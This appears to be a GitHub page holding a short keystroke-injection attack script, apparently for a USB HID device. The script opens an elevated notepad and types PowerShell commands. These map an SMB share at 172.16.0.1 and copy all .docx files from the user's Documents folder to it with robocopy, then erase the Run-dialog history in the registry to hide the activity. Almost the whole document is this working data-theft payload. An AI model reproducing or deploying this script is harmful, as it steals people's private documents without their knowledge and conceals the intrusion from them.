-
Notifications
You must be signed in to change notification settings - Fork 0
/
@_Doc_to_Smb.js
42 lines (42 loc) · 961 Bytes
/
@_Doc_to_Smb.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
layout('fr')
typingSpeed(0,0)
press("GUI r")
delay(200)
type("notepad")
press("CTRL SHIFT ENTER")
delay(1000)
press("SHIFT TAB")
press("ENTER")
delay(3000)
type('\n')
type('$exfil_dir=')
layout('us')
press("3")
layout('fr')
type ('$Env:UserProfile\\Documents')
layout('us')
press("3")
layout('fr')
type ('\n')
type('$exfil_ext=')
layout('us')
press("3")
layout('fr')
type ('*.docx')
layout('us')
press("3")
layout('fr')
type ('\n')
type('$loot_dir=')
layout('us')
press("3")
layout('fr')
type ('\\\\172.16.0.1\\Data\\$Env:ComputerName\\$((Get-Date).ToString(\'yyyy-MM-dd_hhmmtt\'))')
layout('us')
press("3")
layout('fr')
type ('\n')
type('net use \\\\172.16.0.1\\Data ;\n')
type('mkdir $loot_dir\n')
type('robocopy $exfil_dir $loot_dir $exfil_ext /S /MT /Z\n')
type('Remove-ItemProperty -Path \'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\' -Name \'*\' -ErrorAction SilentlyContinue\n')